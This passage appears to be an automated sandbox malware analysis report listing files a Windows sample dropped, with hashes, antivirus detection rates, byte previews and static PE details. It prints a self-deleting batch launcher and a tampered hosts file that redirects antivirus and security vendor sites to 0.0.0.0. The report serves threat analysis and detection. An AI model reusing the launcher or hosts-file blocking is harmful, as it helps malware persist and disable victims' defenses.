SHA-512:	DCBE726E189F268DD1D180A47252EC66AB8B00FE8036D9EDAB1622305150B04917B549AFBA3701197A13E416C71C556A7635824028C7F3D5C471349FB695B27B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..chcp 65001..ping -n 10 localhost > nul..start "" "C:\Windows\Provisioning\Packages\KZcLqgnLvRf.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\sB1sK52ORC.bat"

C:\Users\user\Desktop\IkSFhrpY.log

Download File

Process:	C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17% Antivirus: Virustotal, Detection: 25%, Browse
Joe Sandbox View:	Filename: hfGA6tjyxY.exe, Detection: malicious, Browse Filename: 3m7cmtctck.exe, Detection: malicious, Browse Filename: jXtV6KO1A7.exe, Detection: malicious, Browse Filename: fDTPlvsGfH.exe, Detection: malicious, Browse Filename: W4tW72sfAD.exe, Detection: malicious, Browse Filename: 8CDSiIApNr.exe, Detection: malicious, Browse Filename: 3otr19d5Oq.exe, Detection: malicious, Browse Filename: idYLOQOVSi.exe, Detection: malicious, Browse Filename: ZAF4Dsu737.exe, Detection: malicious, Browse Filename: mbsPX9l9Ge.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\KEMGRwnV.log

Download File

Process:	C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 67% Antivirus: Virustotal, Detection: 69%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\LugVktua.log

Download File

Process:	C:\PerfDll\hyperProviderSavesinto.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 12% Antivirus: Virustotal, Detection: 20%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\WiKMUFpI.log

Download File

Process:	C:\PerfDll\hyperProviderSavesinto.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 67% Antivirus: Virustotal, Detection: 69%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\XVmuemSr.log

Download File

Process:	C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12% Antivirus: Virustotal, Detection: 4%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\kEwbgeKe.log

Download File

Process:	C:\PerfDll\hyperProviderSavesinto.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12% Antivirus: Virustotal, Detection: 4%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\msAjSsFc.log

Download File

Process:	C:\PerfDll\hyperProviderSavesinto.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17% Antivirus: Virustotal, Detection: 25%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\phOzxInG.log

Download File

Process:	C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	24064
Entropy (8bit):	5.4346552043530165
Encrypted:	false
SSDEEP:	384:fTcm673m4NrYnbspeYMDnw4aU04pWfs8xLDpHEm1r1yNq/:ABNUbfYM8NT4pWkoDxfB4N
MD5:	1DCDE09C6A8CE8F5179FB24D0C5A740D
SHA1:	1A2298CB4E9CAB6F5C2894266F42D7912EDD294B
SHA-256:	1F02230A8536ADB1D6F8DADFD7CA8CA66B5528EC98B15693E3E2F118A29D49D8
SHA-512:	5D3D5B9E6223501B2EE404937C62893BDDB735A2B8657FAFF8C8F4CED55A9537F2C11BA97734F72360195C35CE6C0BF1EC4AAAFD77AB569919B03344ADFD9D77
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 6% Antivirus: Virustotal, Detection: 11%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......e...........!.....V...........t... ........@.. ....................................@..................................s..S.................................................................................... ............... ..H............text....T... ...V.................. ..`.rsrc................X..............@..@.reloc...............\..............@..B.................s......H........Q..."...........O......................................................................................................................................................................xHz9..T....[.y..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\vsaRQqFM.log

Download File

Process:	C:\PerfDll\hyperProviderSavesinto.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	24064
Entropy (8bit):	5.4346552043530165
Encrypted:	false
SSDEEP:	384:fTcm673m4NrYnbspeYMDnw4aU04pWfs8xLDpHEm1r1yNq/:ABNUbfYM8NT4pWkoDxfB4N
MD5:	1DCDE09C6A8CE8F5179FB24D0C5A740D
SHA1:	1A2298CB4E9CAB6F5C2894266F42D7912EDD294B
SHA-256:	1F02230A8536ADB1D6F8DADFD7CA8CA66B5528EC98B15693E3E2F118A29D49D8
SHA-512:	5D3D5B9E6223501B2EE404937C62893BDDB735A2B8657FAFF8C8F4CED55A9537F2C11BA97734F72360195C35CE6C0BF1EC4AAAFD77AB569919B03344ADFD9D77
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 6% Antivirus: Virustotal, Detection: 11%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......e...........!.....V...........t... ........@.. ....................................@..................................s..S.................................................................................... ............... ..H............text....T... ...V.................. ..`.rsrc................X..............@..@.reloc...............\..............@..B.................s......H........Q..."...........O......................................................................................................................................................................xHz9..T....[.y..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\zQhPhksn.log

Download File

Process:	C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 12% Antivirus: Virustotal, Detection: 20%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Windows\Provisioning\Packages\KZcLqgnLvRf.exe

Download File

Process:	C:\PerfDll\hyperProviderSavesinto.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1968128
Entropy (8bit):	7.554175262094728
Encrypted:	false
SSDEEP:	24576:wR5wlxvspUb0qtT2YSCeBJxs56NAFUhOcfMxHoktN/c61+bURfTj/PlzBCpEwxl5:wUPKCeJxkBceok7WURfTj/j9wDmm
MD5:	3997D7D058AF3C1B6C9ABB57F6FA1F2A
SHA1:	CD38C3EB67E2D09445EB39B66A69B31673C2360C
SHA-256:	B19C5E3261D05C95756D6452048448C4AB30D3179F90CA714DE39ECE0CD72D99
SHA-512:	AD53432C8F8309701E0DC2BA7C885F5088EE69C3073E9D1DE4A3C75CB3C1AF845B43D0A8512AF58BCD425A831EC4F4BCF74FE3918956527DB5A96A88FC003A36
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88% Antivirus: Virustotal, Detection: 74%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e................................. ... ....@.. .......................`............@.....................................K.... ..p....................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc...p.... ......................@....reloc.......@......................@..B........................H...........<.......s......p@..I........................................0..........(.... ........8........E....N......).......8I...(.... ....~u...{\|...:....& ....8....(.... ....~u...{....:....& ....8....(.... ....8........0.......... ........8........E............S...........8)...~....:.... ....~u...{....9....& ....8.......... ....~u...{....:....& ....8....~....(H... .... .... ....s....~....(L....... ....8^...r...ps....z....~....(P...~....(T... ....?.... ....8&.....(....

C:\Windows\Provisioning\Packages\e3a74901549792

Download File

Process:	C:\PerfDll\hyperProviderSavesinto.exe
File Type:	ASCII text, with very long lines (334), with no line terminators
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.8140695358491365
Encrypted:	false
SSDEEP:	6:b3aOblTT6pS5r7+dUExanl5SfPV4WD2ES5JVgOMT16wslU5XlXJ:TaiJHGPxanlYwgOw6M5v
MD5:	52111B51DEC339C6A76B6C866EEC54ED
SHA1:	37A6D21D02CB10DDEB0D8EECF0CDB7B412263BE8
SHA-256:	3CC1B3F788ABA7C13DEB30F164133F585498EC50AE18A26AF48AEC0182ADA352
SHA-512:	4FB2ACDBD8B827B010FB9FCF330DE19823AF7F3CC6B374FEE08DE4F3A0D72518CE91F77EEB1B0E27291C75340E1880E377ED1A95D5A1EAE6EF9490460F635E63
Malicious:	false
Preview:	TsAPDlRCH829PBrCIyyjxftvXtlqsbi9TUILncPCgeA5CICUTxSw15gx9O1UAkUqZ3p43fYqjwDTextPqQX4JwHXyVMZk4C5KUfJcIbyZlNF2NTLfmotNZgnvSGiT8FotHJJRjwhzifhjCfkCA48QTsvx2XKC3fbgjVuEJ450G3o39EtxffSDHXaZXVZLme6DDAAqug2G8HKZD1yxoWhXMXZL5UqxeuOl7lz8ECC8nLF9NAWghlgP7i0qlyuazFlO3iccB0tlTiuASZ848JP3N8oYuJWQRmIhj1Goi3fr156YyzYMz0cqzsA44Ds2ddTqZMbbSUWEoiBSB

C:\Windows\RemotePackages\RemoteDesktops\KZcLqgnLvRf.exe

Download File

Process:	C:\PerfDll\hyperProviderSavesinto.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1968128
Entropy (8bit):	7.554175262094728
Encrypted:	false
SSDEEP:	24576:wR5wlxvspUb0qtT2YSCeBJxs56NAFUhOcfMxHoktN/c61+bURfTj/PlzBCpEwxl5:wUPKCeJxkBceok7WURfTj/j9wDmm
MD5:	3997D7D058AF3C1B6C9ABB57F6FA1F2A
SHA1:	CD38C3EB67E2D09445EB39B66A69B31673C2360C
SHA-256:	B19C5E3261D05C95756D6452048448C4AB30D3179F90CA714DE39ECE0CD72D99
SHA-512:	AD53432C8F8309701E0DC2BA7C885F5088EE69C3073E9D1DE4A3C75CB3C1AF845B43D0A8512AF58BCD425A831EC4F4BCF74FE3918956527DB5A96A88FC003A36
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88% Antivirus: Virustotal, Detection: 74%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e................................. ... ....@.. .......................`............@.....................................K.... ..p....................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc...p.... ......................@....reloc.......@......................@..B........................H...........<.......s......p@..I........................................0..........(.... ........8........E....N......).......8I...(.... ....~u...{\|...:....& ....8....(.... ....~u...{....:....& ....8....(.... ....8........0.......... ........8........E............S...........8)...~....:.... ....~u...{....9....& ....8.......... ....~u...{....:....& ....8....~....(H... .... .... ....s....~....(L....... ....8^...r...ps....z....~....(P...~....(T... ....?.... ....8&.....(....

C:\Windows\RemotePackages\RemoteDesktops\e3a74901549792

Download File

Process:	C:\PerfDll\hyperProviderSavesinto.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	141
Entropy (8bit):	5.61179703406828
Encrypted:	false
SSDEEP:	3:5YW5uzdNgRxPGid1bOFWqPTxxKIcYLitBMtG+B6dr7zXsSrl3fSs:5YWwgXPGivbOF/lxKOvBB67zcYlvSs
MD5:	5622E54B9BD142AC3E2AE55196C4AB89
SHA1:	74D044F079CFD00840F92F61436916B5B53F97C8
SHA-256:	03C12437E85E88EED0820FA7636842EC900FEA8D1D576CE8703F7C6D24F4CE4B
SHA-512:	C70F2F00D9CF129E4DD6521EF229AC2B575AD25AF89781206FB68BFE488E40AE84764FB643431C959DD63606587E441359EBA7C8F047D4BCB878E24AA87C3C9B
Malicious:	false
Preview:	D54KwNs2UYKBYG8YpXqIR0tBz3KXSjegQTjcuYvrM8zZ4fETGf7ONZ1NL3V2DUjv4ouFhgnRm95SBUGUy1RxlPS1cVQ1D2o2YDfQu9wj2qlNdiM1xADMDwJoV2mLPwNuUD37y0kzEr45n

C:\Windows\System32\drivers\etc\hosts

Download File

Process:	C:\Users\user\AppData\Local\Temp\GargantuanS.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1132
Entropy (8bit):	4.645108565915121
Encrypted:	false
SSDEEP:	24:QWDZh+ragzMZfuMMs1L/JU5fFCkK8T1rTtozIRdG:vDZhyoZWM9rU5fFc9OM
MD5:	4B81122BEC5C7F1650C47159338C9BA3
SHA1:	EA50B1416C0288E27CA41390D7A2DD85D099DD50
SHA-256:	D919FD0377FBCB23402D089C48BA3132B6115F7E1E57E0588ABFBAF1562A170D
SHA-512:	EC5DB50EA5F510DB22A87B7FC768AEB5E36389E5C7F74DA91207BEDFE940EB9FEC506907BF51A5800EA94B4F2B37513298F57F598EEFD7504DFE4C1C54A5CB14
Malicious:	true
Preview:	# Copyright (c) 1993-2009 Microsoft Corp...#..# This is a sample HOSTS file used by Microsoft TCP/IP for Windows...#..# This file contains the mappings of IP addresses to host names. Each..# entry should be kept on an individual line. The IP address should..# be placed in the first column followed by the corresponding host name...# The IP address and the host name should be separated by at least one..# space...#..# Additionally, comments (such as these) may be inserted on individual..# lines or following the machine name denoted by a '#' symbol...#..# For example:..#..# 102.54.94.97 rhino.acme.com # source server..# 38.25.63.10 x.acme.com # x client host....# localhost name resolution is handled within DNS itself...#.127.0.0.1 localhost..#.::1 localhost....0.0.0.0 www.360totalsecurity.com..0.0.0.0 www.ccleaner.com..0.0.0.0 malwarebytes.sooftware.com..0.0.0.0 www.malwarebytes.com..0.0.0.0 www.micros

\Device\Null

Download File

Process:	C:\Windows\System32\PING.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	502
Entropy (8bit):	4.630609828667227
Encrypted:	false
SSDEEP:	12:P9l5pTcgTcgTcgTcgTcgTcgTcgTcgTcgTLs4oS/AFSkIrxMVlmJHaVzvv:VfdUOAokItULVDv
MD5:	01E42C7D0BFC330C8CB8F87BD1F25257
SHA1:	EAD7E45750E84C22F8BB01AF7D3BF6CB81401F8F
SHA-256:	A634384A405C46CD9DB3F596A3F5A032AC51B1B7634BC8FFB9D016CDBCF74CD4
SHA-512:	61F024BC83B791B9A7396F4BF85F38E77E07ADFD7ECC07EE799E8A070533064FC5FB552DDFD41A3DF07E92D41D37585EA962FEF98DAB9CBD1CC4C84812CAC64A
Malicious:	false
Preview:	..Pinging 965543 [::1] with 32 bytes of data:..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ....Ping statistics for ::1:.. Packets: Sent = 10, Received = 10, Lost = 0 (0% loss),..Approximate round trip times in milli-seconds:.. Minimum = 0ms, Maximum = 0ms, Average = 0ms..

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.917799688345123
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe
File size:	6'701'051 bytes
MD5:	6acbb1fb58dccd74db667187b22de689
SHA1:	cf0df5b247b15157cfce47473d1b063705d10b44
SHA256:	c792057cb761da8872421a6c906c4481b260bdb5d27b86378efdd2af39319687
SHA512:	b195df77aece1c054493a8fa195b9cffbfb9b2fe5c446ce59aa16fcc7ca0d19ca1ae25d7de4aa9fde59cdcd554293057a1d6806c0734d3d9e62671088d5a66a6
SSDEEP:	196608:5EnAjdZqS8NA40yYnSTq0GnUZhUjGtpoHtx:DbHB40yYSTq+Rix
TLSH:	2D662256E2980CE5E87293BC8963CD79A2737E982A71C68E12F47C37BF732D15C25241
File Content Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.........B#..,p..,p..,p.:.p..,p.:.p5.,p.:.p..,p<..p..,p<.(q..,p<./q..,p<.)q..,p...p..,p...p..,p...p..,p..-p..,p2.)q..,p2.,q..,p2..p..,

File Icon


Icon Hash:	0f07132b6d35171c

Static PE Info

General

Entrypoint:	0x140026670
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x65BA8FE6 [Wed Jan 31 18:22:30 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	2
File Version Major:	5
File Version Minor:	2
Subsystem Version Major:	5
Subsystem Version Minor:	2
Import Hash:	e8a30656287fe831c9782204ed10cd68

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FA13556DFF8h
dec eax
add esp, 28h
jmp 00007FA13556D98Fh
int3
int3
dec eax
mov eax, esp
dec eax
mov dword ptr [eax+08h], ebx
dec eax
mov dword ptr [eax+10h], ebp
dec eax
mov dword ptr [eax+18h], esi
dec eax
mov dword ptr [eax+20h], edi
inc ecx
push esi
dec eax
sub esp, 20h
dec ebp
mov edx, dword ptr [ecx+38h]
dec eax
mov esi, edx
dec ebp
mov esi, eax
dec eax
mov ebp, ecx
dec ecx
mov edx, ecx
dec eax
mov ecx, esi
dec ecx
mov edi, ecx
inc ecx
mov ebx, dword ptr [edx]
dec eax
shl ebx, 04h
dec ecx
add ebx, edx
dec esp
lea eax, dword ptr [ebx+04h]
call 00007FA13556CF53h
mov eax, dword ptr [ebp+04h]
and al, 66h
neg al
mov eax, 00000001h
sbb edx, edx
neg edx
add edx, eax
test dword ptr [ebx+04h], edx
je 00007FA13556DB23h
dec esp
mov ecx, edi
dec ebp
mov eax, esi
dec eax
mov edx, esi
dec eax
mov ecx, ebp
call 00007FA13556F7E3h
dec eax
mov ebx, dword ptr [esp+30h]
dec eax
mov ebp, dword ptr [esp+38h]
dec eax
mov esi, dword ptr [esp+40h]
dec eax
mov edi, dword ptr [esp+48h]
dec eax
add esp, 20h
inc ecx
pop esi
ret
int3
int3
int3
dec eax
sub esp, 48h
dec eax
lea ecx, dword ptr [esp+20h]
call 00007FA13556CA23h
dec eax
lea edx, dword ptr [00023BA7h]
dec eax
lea ecx, dword ptr [esp+20h]
call 00007FA13556EBF2h
int3
jmp 00007FA1355749C0h
int3
int3
int3
int3
int3
int3

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x4b1e0	0x34	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4b214	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x71000	0x4ffab	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x6c000	0x2ab4	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xc1000	0x938	.reloc
